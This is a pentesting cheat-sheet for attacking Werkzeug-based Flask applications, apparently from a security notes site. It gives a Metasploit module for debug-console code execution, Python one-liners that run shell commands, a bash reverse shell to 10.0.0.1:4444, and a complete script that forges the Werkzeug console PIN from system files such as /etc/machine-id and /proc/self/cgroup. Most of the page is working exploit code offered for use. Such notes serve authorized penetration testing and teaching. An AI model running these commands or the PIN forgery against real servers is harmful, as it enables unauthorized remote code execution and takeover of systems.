icon

Werkzeug Pentesting

Last modified: 2024-01-18

Werkzeug is a comprehensive WSGI web application library that is commonly used for Flask web application.

SSTI

Please see Flask Jinja2 SSTI


Remote Code Execution (RCE) in Console

Metasploit

msfconsole
msf> use exploit/multi/http/werkzeug_debug_rce

Manual Exploitation

If we can access to /console page, we may be able to execute RCE.

__import__('os').popen('whoami').read();
import os; print(os.popen("whoami").read())

# Reverse shell
__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"').read()

Console PIN Exploit

Reference: https://www.daehee.com/werkzeug-console-pin-exploit/

Prepare the Python payload for getting the PIN code in the console page.

# get_pin.py
import hashlib
from itertools import chain

probably_public_bits = [
    'user',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.5/dist-packages/flask/app.py'
]

private_bits = [
    '279275995014060',
    'd4e6cb65d59544f3331ea0425dc555a1'
]

h = hashlib.sha1() # or hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

As above, we need to set values in the probably_public_bits and the private_bits.

probably_public_bits = [
    'user',             # 1.
    'flask.app',        # 2.
    'Flask',            # 3.
    '/usr/local/lib/python3.5/dist-packages/flask/app.py' # 4.
]

private_bits = [
    '279275995014060',                  # 5.
    'd4e6cb65d59544f3331ea0425dc555a1'  # 6.
]
  1. The username who starts the flask server. For example, we may find it in /etc/passwd.
  2. The module name e.g. flask.app.
  3. The application name e.g. Flask. (getattr(app, '__name__', getattr(app.__class__, '__name__')))
  4. The absolute path for the app.py of the Flask in the Python packages. (getattr(mod, '__file__', None))
  5. The MAC address of the current computer. We can get the value in the /sys/class/net/<device_id>/address. To get the device_id, read the Device field in the /proc/net/arp. Additionally, the address needs to be converted from hex to decimal. For example, 12:34:56:78:9a:bc123456789abc20015998343868. (str(uuid.getnode()), /sys/class/net/ens33/address)
  6. The machine ID. We can get the ID by reading /etc/madhine-id. Additionally, we need to concatenate it with the last value of the first line of /proc/self/cgroup separated by / (the value can be empty). For example,
# /proc/self/cgroup
15:name=systemd:/example.service
...

Assume the first line of the /proc/self/cgroup is as above. We have to put the value (example.service) after the machine ID as below:

# e.g. the machine ID is `0123456789abcdef0123456789abcdef`
0123456789abcdef0123456789abcdefexample.service